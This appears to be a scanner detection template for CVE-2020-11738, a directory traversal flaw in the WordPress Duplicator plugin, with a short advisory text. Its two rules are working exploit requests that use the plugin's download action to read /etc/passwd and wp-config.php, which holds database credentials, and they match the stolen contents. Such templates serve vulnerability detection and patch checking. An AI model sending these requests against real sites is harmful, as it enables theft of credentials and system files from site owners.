The issue is being actively exploited, and allows attackers
to download arbitrary files, such as the wp-config.php file.
According to the vendor, the vulnerability was only in two
versions v1.3.24 and v1.3.26, the vulnerability wasn't
present in versions 1.3.22 and before.
PoC代码[已公开]
id: CVE-2020-11738
info:
name: WordPress Duplicator plugin Directory Traversal
author: dwisiswant0
severity: high
description: |
The issue is being actively exploited, and allows attackers
to download arbitrary files, such as the wp-config.php file.
According to the vendor, the vulnerability was only in two
versions v1.3.24 and v1.3.26, the vulnerability wasn't
present in versions 1.3.22 and before.
reference:
- https://www.tenable.com/blog/duplicator-wordpress-plugin-vulnerability-exploited-in-the-wild
- https://snapcreek.com/duplicator/docs/changelog/?lite
- https://www.wordfence.com/blog/2020/02/active-attack-on-recently-patched-duplicator-plugin-vulnerability-affects-over-1-million-sites/
- http://packetstormsecurity.com/files/160621/WordPress-Duplicator-1.3.26-Directory-Traversal-File-Read.html
rules:
r0:
request:
method: GET
path: /wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
expression: response.status == 200 && response.raw_header.bcontains(b'application/octet-stream') && response.raw_header.bcontains(b'File Transfer') && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
r1:
request:
method: GET
path: /wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php
expression: response.status == 200 && response.raw_header.bcontains(b'application/octet-stream') && response.raw_header.bcontains(b'File Transfer') && "define\\('DB_(NAME|USER|PASSWORD|HOST|CHARSET|COLLATE)'".bmatches(response.body)
expression: r0() || r1()